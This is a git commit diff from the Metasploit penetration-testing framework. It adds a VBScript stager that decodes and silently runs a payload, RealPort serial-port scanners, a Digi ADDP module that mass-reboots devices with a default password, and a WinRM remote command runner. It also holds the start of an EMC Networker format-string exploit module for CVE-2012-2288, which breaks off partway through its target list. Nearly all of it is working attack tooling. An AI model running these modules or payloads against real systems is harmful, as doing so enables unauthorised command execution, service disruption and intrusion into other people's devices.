Merge branch 'master' into bug/read-module-content-errno-enoent

bug/bundler_fix
Luke Imhoff 2012-11-06 17:39:55 -06:00
commit 3ad00f7c63
17 changed files with 1580 additions and 23 deletions

View File

@ -0,0 +1,41 @@
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
echo Set file = fs.GetFile("ENCODED") >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, vbCrLf, "") >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
echo shell.run "DECODED", 0, false >>decode_stub
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo "The file is empty." >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub

View File

@ -59,7 +59,7 @@ require 'msf/core/exploit/vim_soap'
require 'msf/core/exploit/wdbrpc'
require 'msf/core/exploit/wdbrpc_client'
require 'msf/core/exploit/afp'
require 'msf/core/exploit/realport'
# Telephony
require 'msf/core/exploit/dialup'

View File

@ -0,0 +1,236 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/exploit/tcp'
module Msf
###
#
# This module provides methods for working with the RealPort protocol
#
###
module Exploit::Remote::RealPort
include Msf::Exploit::Remote::Tcp
#
# Initializes an instance of an auxiliary module that uses RealPort
#
def initialize(info = {})
super
register_options( [
Opt::RPORT(771)
], Msf::Exploit::Remote::RealPort )
end
@@REALPORT_BAUD_MAP = {
'2400' => "\x03\x00",
'9600' => "\x00\xc0",
'19200' => "\x00\x60",
'38400' => "\x00\x20",
'57600' => "\x00\x30",
'76800' => "\x00\x10",
'115200' => "\x00\x10", # Yup, same as above
'230400' => "\x00\x08",
'460800' => "\x00\x04",
'921600' => "\x00\x02",
}
# Connect to the RealPort service and send the initial handshake
# This has the benefit of retrieving the port count and product
# Returns true if it succeeds and nil otherwise
def realport_connect
connect
sock.put("\xfb\x01\xfb\x02\xfb\x18")
res = sock.get_once(12, 5)
return unless (res and res.length == 12)
unless res[0,2] == "\xfc\x01"
vprint_error("#{rhost}:#{rport} Bad reply: #{res.inspect}")
return
end
len = res[2,2].unpack("n").first
return unless len > 0
res = sock.get_once(len, 5)
unless res.length == len
vprint_error("#{rhost}:#{rport} Bad length: #{res.length} wanted #{len}")
return
end
name,info = res.split("\xfc\x02", 2)
fields = info.unpack("n*")
@realport_port_count = fields[1].to_i
@realport_name = name.gsub(/[\r\n]/, '')
# The server also sends us an additional four-byte packet we can ignore here
# This throws away a \xFC\x18\x00\x04 sequence
sock.get_once(-1, 5)
return true
end
def realport_disconnect
disconnect
end
def realport_baud_to_speed(baud)
@@REALPORT_BAUD_MAP[baud]
end
def realport_recv_banner(port=0, timeout=30, max_data=4096)
#
# Data is received here, header is:
# a2 00 01 82 XX
# ^ [ counter ] [ length ] [ data ]
#
# Can also see f0 here (keep alive)
banner = ""
stime = Time.now.to_f
dcnt = 0
pcnt = 0
while banner.length < max_data and (Time.now.to_f - stime) < timeout
res = sock.get_once(1, 1)
unless res
if banner.length == 0 or pcnt < 3
# Send a new line to wake up the remote end
realport_send(port, "\r")
pcnt += 1
next
else
# Allow three empty reads *after* we have sent at least one probe and have data
dcnt += 1
break if dcnt > 3
next
end
end
bit = res.unpack("C").first
case bit
when (0xA0 + port)
# Read the packet sequence number (two bytes)
res = sock.get_once(2, 1)
when 0xF0
# Skip this keep-alive response
when (0x80 + port)
# Read the one-byte length value
res = sock.get_once(1, 1)
if res
len = res.unpack("C").first
res = sock.get_once(len, 1)
if res
banner << res
end
end
end
end
banner
end
def realport_send(port=0, data)
sock.put( [port].pack("C") + data )
end
def realport_close(port=0)
cprt = [ 0xb0 + port ].pack("C")
pkt = cprt + "\x28\x00\xc0\x00\xb0\x00\x01\x00\x00\x00\x00" + cprt + "\x0a\x03"
# Response
# b2 0b 03 00 00 02
# Send a close request
sock.put(pkt)
res = sock.get_once(-1, 5)
vprint_status("#{target_host}:#{rport} Port:#{port} Close:#{ res.inspect }")
return
end
def realport_open(port=0, baud='9600')
@realport_banner = ''
cprt = [ 0xb0 + port ].pack("C")
aprt = [ 0xa0 + port ].pack("C")
speed = realport_baud_to_speed(baud)
# Open port
pkt1 = "\xf0" + cprt + "\x0a"+ "\x00"
# Response
# b2 0b 00 00 00 02
# ^ ^ <- port number
# Open the port
sock.put(pkt1)
res = sock.get_once(-1, 5)
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Open:#{ res.inspect }")
# Access the port
pkt2 =
cprt + "\x0e" +
cprt + "\x2a\x02\xc0\xf3" +
cprt + "\x10" +
cprt + "\x14" +
cprt + "\x16" +
cprt + "\x2c\x03\x00\x00"
# Response (GOOD)
# b2 0f 00 00 00 00 b2 15 0f ff 0f ff b2 11 00 00
# 13 b2 17 01 02 00 2f 06 a8 00 1c 20 00 00 00 00
# 00 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00
# 00
# Response (BAD)
# \xFF \x17 Access to unopened port\x00
# Send negotiate request
sock.put(pkt2)
res = sock.get_once(-1, 5)
if res.to_s =~ /^\xff/
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
return :closed
end
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Negotiate:#{ res.inspect }")
# Terminal settings
pkt3 =
cprt + "\x30\x03\xff\x00\x64" +
cprt + "\x2d\x03\xff\x0b\xff" +
cprt + "\x28" + speed + "\x04" +
cprt + "\x00\x01\x00\x00\x00\x00" +
cprt + "\x2c\x00\x12\x00" +
cprt + "\x2e\x11\x13\x16\x00\x00" +
cprt + "\x2f\x03\xff\x00\x64" +
cprt + "\x40\x37" + aprt + "\x0f\xff"
# Response
# c2 12 00 00 f0
# ^
# Send terminal settings request
sock.put(pkt3)
res = sock.get_once(-1, 5)
if res.to_s =~ /^\xff/
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
return :closed
end
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Settings:#{ res.inspect }")
return :open
end
end
end

View File

@ -17,6 +17,7 @@ module Exploit::Remote::WinRM
NTLM_CONST ||= Rex::Proto::NTLM::Constants
NTLM_UTILS ||= Rex::Proto::NTLM::Utils
NTLM_XCEPT ||= Rex::Proto::NTLM::Exceptions
def initialize(info = {})
super
register_options(
@ -61,13 +62,17 @@ module Exploit::Remote::WinRM
def winrm_run_cmd(cmd, timeout=20)
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
if resp.nil?
print_error "Recieved no reply from server"
return nil
end
if resp.code == 401
print_error "Login failure! Recheck supplied credentials."
return resp .code
end
unless resp.code == 200
print_error "Got unexpected response: \n #{resp.to_s}"
retval == resp.code || 0
retval = resp.code || 0
return retval
end
shell_id = winrm_get_shell_id(resp)
@ -80,6 +85,29 @@ module Exploit::Remote::WinRM
return streams
end
def winrm_run_cmd_hanging(cmd, timeout=20)
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
if resp.nil?
print_error "Recieved no reply from server"
return nil
end
if resp.code == 401
print_error "Login failure! Recheck supplied credentials."
return resp .code
end
unless resp.code == 200
print_error "Got unexpected response: \n #{resp.to_s}"
retval = resp.code || 0
return retval
end
shell_id = winrm_get_shell_id(resp)
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
cmd_id = winrm_get_cmd_id(resp)
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
streams = winrm_get_cmd_streams(resp)
return streams
end
def winrm_wql_msg(wql)
action = winrm_uri_action("wql")
contents = winrm_header(action) + winrm_wql_body(wql)
@ -134,6 +162,7 @@ module Exploit::Remote::WinRM
end
def parse_wql_response(response)
return nil if response.nil?
xml = response.body
columns = []
rows =[]
@ -160,16 +189,19 @@ module Exploit::Remote::WinRM
end
def winrm_get_shell_id(response)
return nil if response.nil?
xml = response.body
shell_id = REXML::Document.new(xml).elements["//w:Selector"].text
end
def winrm_get_cmd_id(response)
return nil if response.nil?
xml = response.body
cmd_id = REXML::Document.new(xml).elements["//rsp:CommandId"].text
end
def winrm_get_cmd_streams(response)
return nil if response.nil?
streams = {
'stdout' => '',
'stderr' => '',
@ -178,7 +210,7 @@ module Exploit::Remote::WinRM
rxml = REXML::Document.new(xml).root
rxml.elements.to_a("//rsp:Stream").each do |node|
next if node.text.nil?
streams[node.attributes['Name']] << Rex::Text.base64_decode(node.text)
streams[node.attributes['Name']] << Rex::Text.decode_base64(node.text)
end
return streams
end
@ -291,6 +323,7 @@ module Exploit::Remote::WinRM
end
end
private
def winrm_option_set(options)

218
lib/rex/proto/addp.rb Normal file
View File

@ -0,0 +1,218 @@
# -*- coding: binary -*-
module Rex
module Proto
#
# This provides constants, encoding, and decoding routines for Digi International's ADDP protocol
#
class ADDP
require "rex/socket"
#
# See the following URLs for more information:
# - http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html
# - http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29
#
MAGICS = %W{ DIGI DVKT DGDP }
ERRORS = %W{ no_response unknown success authenticaton_failed unit_has_address invalid_value invalid_data unsupported_command }
WLAN_ENC_MODES = %W{ unknown none wep40 wep128 }
WLAN_AUTH_MODES = %W{ unknown open shared_key open_shared_key }
HWTYPES = %W{
unknown ps3_desk8 ps3_desk16 ps3_desk32 ps3_rack16 ps2_desk16 ps2_rack16
lets_desk1 lets_desk2 lets_desk4 dorpia_dinrail1 nubox01 nubox02 nubox04
digione_sp digione_ia digione_em
}
CMD_CONF_REQ = 1
CMD_CONF_REP = 2
CMD_SET_ADDR_REQ = 3
CMD_SET_ADDR_REP = 4
CMD_REBOOT_REQ = 5
CMD_REBOOT_REP = 6
CMD_SET_DHCP_REQ = 7
CMD_SET_DHCP_REP = 8
CMD_SET_WL_REQ = 9
CMD_SET_WL_REP = 10
CMD_SET_WL_COUNTRIES_REQ = 11
CMD_SET_WL_COUNTRIES_REP = 12
CMD_EDP = 13
CMD_CNT = 14
def self.encode_password(pwd="dbps")
[pwd.length].pack("C") + pwd
end
def self.request_config(magic, dmac="\xff\xff\xff\xff\xff\xff")
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
req = magic + [ CMD_CONF_REQ, 6].pack("nn") + mac
return req
end
def self.request_config_all(dmac="\xff\xff\xff\xff\xff\xff")
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
res = []
MAGICS.each { |m| res << self.request_config(m, dmac) }
return res
end
def self.request_static_ip(magic, dmac, ip, mask, gw, pwd="dbps")
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
buf =
Rex::Socket.addr_aton(ip) +
Rex::Socket.addr_aton(mask) +
Rex::Socket.addr_aton(gw) +
mac +
self.encode_password(pwd)
req = magic + [CMD_SET_ADDR_REQ, buf.length].pack("nn") + buf
return req
end
def self.request_dhcp(magic, dmac, enabled, pwd="dbps")
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
buf =
[ enabled ? 1 : 0 ].pack("C") +
mac +
self.encode_password(pwd)
req = magic + [CMD_SET_DHCP_REQ, buf.length].pack("nn") + buf
return req
end
def self.request_reboot(magic, dmac, pwd="dbps")
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
buf =
mac +
self.encode_password(pwd)
req = magic + [CMD_REBOOT_REQ, buf.length].pack("nn") + buf
return req
end
def self.decode_reply(data)
res = {}
r_magic = data[0,4]
r_ptype = data[4,2].unpack("n").first
r_plen = data[6,2].unpack("n").first
buff = data[8, r_plen]
bidx = 0
res[:magic] = data[0,4]
res[:cmd] = r_ptype
while bidx < (buff.length - 2)
i_type, i_len = buff[bidx, 2].unpack("CC")
i_data = buff[bidx + 2, i_len]
break if i_data.length != i_len
case i_type
when 0x01
res[:mac] = Rex::Socket.eth_ntoa(i_data)
when 0x02
res[:ip] = Rex::Socket.addr_ntoa(i_data)
when 0x03
res[:mask] = Rex::Socket.addr_ntoa(i_data)
when 0x04
res[:hostname] = i_data
when 0x05
res[:domain] = i_data
when 0x06
res[:hwtype] = HWTYPES[ i_data.unpack("C").first ] || HWTYPES[ 0 ]
when 0x07
res[:hwrev] = i_data.unpack("C").first
when 0x08
res[:fwrev] = i_data
when 0x09
res[:msg] = i_data
when 0x0a
res[:result] = i_data.unpack("C").first
when 0x0b
res[:gw] = Rex::Socket.addr_ntoa(i_data)
when 0x0c
res[:advisory] = i_data.unpack("n").first
when 0x0d
res[:hwname] = i_data
when 0x0e
res[:realport] = i_data.unpack("N").first
when 0x0f
res[:dns] = Rex::Socket.addr_ntoa(i_data)
when 0x10
res[:dhcp] = (i_data.unpack("C").first == 0) ? false : true
when 0x11
res[:error] = ERRORS[ i_data.unpack("C").first ] || ERRORS[0]
when 0x12
res[:ports] = i_data.unpack("C").first
when 0x13
res[:realport_enc] = (i_data.unpack("C").first == 0) ? false : true
when 0x14
res[:version] = i_data.unpack("n").first
when 0x15
res[:vendor_guid] = i_data.unpack("H*") # GUID
when 0x16
res[:iftype] = i_data.unpack("C").first
when 0x17
res[:challenge] = i_data # Unknown format
when 0x18
res[:cap_port] = i_data.unpack("n").first
when 0x19
res[:edp_devid] = i_data.unpack("H*").first # Unknown format
when 0x1a
res[:edp_enabled] = (i_data.unpack("C").first == 0) ? false : true
when 0x1b
res[:edp_url] = i_data
when 0x1c
res[:wl_ssid] = i_data
when 0x1d
res[:wl_auto_ssid] = (i_data.unpack("n").first == 0) ? false : true
when 0x1e
res[:wl_tx_enh_power] = i_data.unpack("n").first
when 0x1f
res[:wl_auth_mode] = WLAN_AUTH_MODES[ i_data.unpack("n").first ] || WLAN_AUTH_MODES[ 0 ]
when 0x20
res[:wl_enc_mode] = WLAN_ENC_MODES[ i_data.unpack("n").first ] || WLAN_ENC_MODES[ 0 ]
when 0x21
res[:wl_enc_key] = i_data
when 0x22
res[:wl_cur_country] = i_data
when 0x23
res[:wl_country_list] = i_data
else
# Store unknown responses
res["unknown_0x#{"%.2x" % i_type}".to_sym] = i_data
end
bidx = bidx + 2 + i_len
end
return res
end
def self.reply_to_string(res)
str = ""
fields = [
:hwname, :hwtype, :hwrev, :fwrev,
:mac, :ip, :mask, :gw, :hostname, :domain, :dns, :dhcp,
:msg, :result, :error,
:advisory, :ports, :realport, :realport_enc,
:version, :vendor_guid, :iftype, :challenge, :cap_port, :edp_devid, :edp_enabled,
:edp_url, :wl_ssid, :wl_auto_ssid, :wl_tx_enh_power, :wl_auth_mode, :wl_enc_mode,
:wl_enc_key, :wl_cur_country, :wl_country_list, :magic
]
fields.each do |fname|
next unless res.has_key?(fname)
str << "#{fname}:#{res[fname]} "
end
return str
end
end
end
end

View File

@ -455,6 +455,20 @@ module Socket
end
end
#
# Converts a colon-delimited MAC address into a 6-byte binary string
#
def self.eth_aton(mac)
mac.split(":").map{|c| c.to_i(16) }.pack("C*")
end
#
# Converts a 6-byte binary string into a colon-delimited MAC address
#
def self.eth_ntoa(bin)
bin.unpack("C6").map{|x| "%.2x" % x }.join(":").upcase
end
#
# Converts a CIDR subnet into an array (base, bcast)
#

View File

@ -0,0 +1,161 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/addp'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Digi ADDP Remote Reboot Initiator',
'Version' => '$Revision$',
'Description' => 'Reboot Digi International based equipment through the ADDP service',
'Author' => 'hdm',
'References' =>
[
['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'],
['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'],
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::CHOST,
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
Opt::RPORT(2362),
OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps'])
], self.class)
end
def run_batch_size
datastore['BATCHSIZE'].to_i
end
def rport
datastore['RPORT'].to_i
end
def run_batch(batch)
print_status("Finding ADDP nodes within #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
@results = {}
begin
udp_sock = nil
idx = 0
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
add_socket(udp_sock)
batch.each do |ip|
begin
# Try all currently-known magic probe values
Rex::Proto::ADDP.request_config_all.each do |pkt|
begin
udp_sock.sendto(pkt, ip, rport, 0)
rescue ::Errno::ENOBUFS
print_status("Socket buffers are full, waiting for them to flush...")
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
select(nil, nil, nil, 0.25)
retry
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError
end
if (idx % 30 == 0)
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
end
idx += 1
end
while (r = udp_sock.recvfrom(65535, 3) and r[1])
parse_reply(r)
end
queue = {}
@results.each_pair do |ip,res|
queue[ip] = res
end
@results = {}
queue.each_pair do |ip, res|
info = Rex::Proto::ADDP.reply_to_string(res)
print_status("#{ip}:#{rport} Sending reboot request to device with MAC #{res[:mac]}...")
pkt = Rex::Proto::ADDP.request_reboot(res[:magic], res[:mac], datastore['ADDP_PASSWORD'])
begin
udp_sock.sendto(pkt, ip, rport, 0)
rescue ::Errno::ENOBUFS
print_status("Socket buffers are full, waiting for them to flush...")
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
select(nil, nil, nil, 0.25)
retry
end
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
end
while (r = udp_sock.recvfrom(65535, 5) and r[1])
parse_reply(r)
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
end
end
def parse_reply(pkt)
# Ignore "empty" packets
return if not pkt[1]
addr = pkt[1]
if(addr =~ /^::ffff:/)
addr = addr.sub(/^::ffff:/, '')
end
data = pkt[0]
@results[addr] ||= {}
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
if @results[addr][:cmd] == Rex::Proto::ADDP::CMD_REBOOT_REP
print_status("#{addr}:#{rport} Reboot Status: " + Rex::Proto::ADDP.reply_to_string(@results[addr]))
end
return unless @results[addr][:magic] and @results[addr][:mac]
end
end

View File

@ -0,0 +1,140 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/addp'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Digi ADDP Information Discovery',
'Version' => '$Revision$',
'Description' => 'Discover host information through the Digi International ADDP service',
'Author' => 'hdm',
'References' =>
[
['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'],
['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'],
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::CHOST,
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
Opt::RPORT(2362)
], self.class)
end
def run_batch_size
datastore['BATCHSIZE'].to_i
end
def rport
datastore['RPORT'].to_i
end
def run_batch(batch)
print_status("Sending Digi ADDP probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
@results = {}
begin
udp_sock = nil
idx = 0
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
add_socket(udp_sock)
batch.each do |ip|
begin
# Try all currently-known magic probe values
Rex::Proto::ADDP.request_config_all.each do |pkt|
begin
udp_sock.sendto(pkt, ip, rport, 0)
rescue ::Errno::ENOBUFS
print_status("Socket buffers are full, waiting for them to flush...")
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
select(nil, nil, nil, 0.25)
retry
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError
end
if (idx % 30 == 0)
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
end
idx += 1
end
while (r = udp_sock.recvfrom(65535, 3) and r[1])
parse_reply(r)
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
end
end
def parse_reply(pkt)
# Ignore "empty" packets
return if not pkt[1]
addr = pkt[1]
if(addr =~ /^::ffff:/)
addr = addr.sub(/^::ffff:/, '')
end
data = pkt[0]
@results[addr] ||= {}
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
return unless @results[addr][:magic] and @results[addr][:mac]
inf = Rex::Proto::ADDP.reply_to_string(@results[addr])
if inside_workspace_boundary?(addr)
report_service(
:host => addr,
:mac => @results[addr][:mac],
:port => pkt[2],
:proto => 'udp',
:name => 'addp',
:info => inf
)
end
print_status("#{addr}:#{pkt[2]} #{inf}")
end
end

View File

@ -0,0 +1,93 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::RealPort
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Digi RealPort Serial Server Port Scanner',
'Description' => 'Identify active ports on RealPort-enabled serial servers.',
'References' =>
[
['URL', 'http://www.digi.com/pdf/fs_realport.pdf'],
['URL', 'http://www.digi.com/support/productdetail?pid=2229&type=drivers']
],
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE
)
register_options(
[
OptInt.new("BANNER_TIMEOUT", [true, "How long to capture data from the serial port", 5]),
OptString.new('BAUD_RATES', [true, "A space delimited list of baud rates to try for each port", "9600 115200"]),
OptString.new('PORTS', [true, "A space delimited list of 1-indexed serial port numbers to try, default is all supported", "ALL"])
], self.class)
end
def setup
test_speeds = datastore['BAUD_RATES'].split(/\s+/)
test_speeds.each do |baud|
valid = realport_baud_to_speed(baud)
if not valid
raise RuntimeError, "The baud rate #{baud} is not supported"
end
end
end
def run_host(target_host)
test_ports = datastore['PORTS'].upcase.split(/\s+/)
test_speeds = datastore['BAUD_RATES'].split(/\s+/)
return unless realport_connect
info = "#{@realport_name} ( ports: #{@realport_port_count} )"
vprint_status("#{target_host}:#{rport} is running #{info}")
report_service(:host => rhost, :port => rport, :name => "realport", :info => info)
1.upto(@realport_port_count) do |pnum|
unless test_ports.include?('ALL') or test_ports.include?(pnum.to_s)
# Skip this port
next
end
test_speeds.each do |baud|
ret = realport_open(pnum - 1, baud)
break unless ret == :open
res = realport_recv_banner(pnum - 1, datastore['BANNER_TIMEOUT'])
if res and res.length > 0
print_status("#{target_host}:#{rport} [port #{pnum} @ #{baud}bps] #{res.inspect}")
report_note(
:host => target_host,
:proto => 'tcp',
:port => rport,
:type => "realport.port#{pnum}.banner",
:data => {:baud => baud, :banner => res},
:update => :unique_data
)
end
realport_close(pnum - 1)
end
end
realport_disconnect
end
end

View File

@ -0,0 +1,45 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::RealPort
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Digi RealPort Serial Server Version',
'Description' => 'Detect serial servers that speak the RealPort protocol.',
'References' =>
[
['URL', 'http://www.digi.com/pdf/fs_realport.pdf'],
['URL', 'http://www.digi.com/support/productdetail?pid=2229&type=drivers']
],
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE
)
end
def run_host(target_host)
if realport_connect
info = "#{@realport_name} ( ports: #{@realport_port_count} )"
print_status("#{target_host}:#{rport} #{info}")
report_service(:host => rhost, :port => rport, :name => "realport", :info => info)
end
realport_disconnect
end
end

View File

@ -0,0 +1,63 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::WinRM
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'WinRM Command Runner',
'Description' => %q{
This module runs arbitrary Windows commands using the WinRM Service
},
'Author' => [ 'thelightcosine' ],
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('CMD', [ true, "The windows command to run", "ipconfig /all" ]),
OptString.new('USERNAME', [ true, "The username to authenticate as"]),
OptString.new('PASSWORD', [ true, "The password to authenticate with"]),
OptBool.new('SAVE_OUTPUT', [true, "Store output as loot", false])
], self.class)
end
def run_host(ip)
unless accepts_ntlm_auth
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
return
end
streams = winrm_run_cmd(datastore['CMD'])
return unless streams.class == Hash
print_error streams['stderr'] unless streams['stderr'] == ''
print_good streams['stdout']
if datastore['SAVE_OUTPUT']
path = store_loot("winrm.cmd_results", "text/plain", ip, streams['stdout'], "winrm_cmd_results.txt", "WinRM CMD Results")
print_status "Results saved to #{path}"
end
end
end

View File

@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary
This module attempts to authenticate to a WinRM service. It currently
works only if the remote end allows Negotiate(NTLM) authentication.
Kerberos is not currently supported. Please note: in order to use this
module, the 'AllowUnencrypted' winrm option must be set.
module without SSL, the 'AllowUnencrypted' winrm option must be set.
Otherwise adjust the port and set the SSL options in the module as appropriate.
},
'Author' => [ 'thelightcosine' ],
'References' =>

View File

@ -0,0 +1,129 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::SunRPC
def initialize(info = {})
super(update_info(info,
'Name' => 'EMC Networker Format String',
'Description' => %q{
This module exploits a format string vulnerability in the lg_sprintf function
as implemented in liblocal.dll on EMC Networker products. This module exploits the
vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,
version 0x02, and procedure 0x06. This module has been tested successfully on EMC
Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
},
'Author' =>
[
'Aaron Portnoy', # Vulnerability Discovery and analysis
'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-2288' ],
[ 'OSVDB', '85116' ],
[ 'BID', '55330' ],
[ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ],
[ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]
],
'Platform' => [ 'win' ],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x25\x2a",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
['EMC Networker 7.6 SP3 / Windows Universal',
{
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
'Offset' => 156,
'DEP' => true
}
],
['EMC Networker 7.6 SP3 / Windows XP SP3',
{
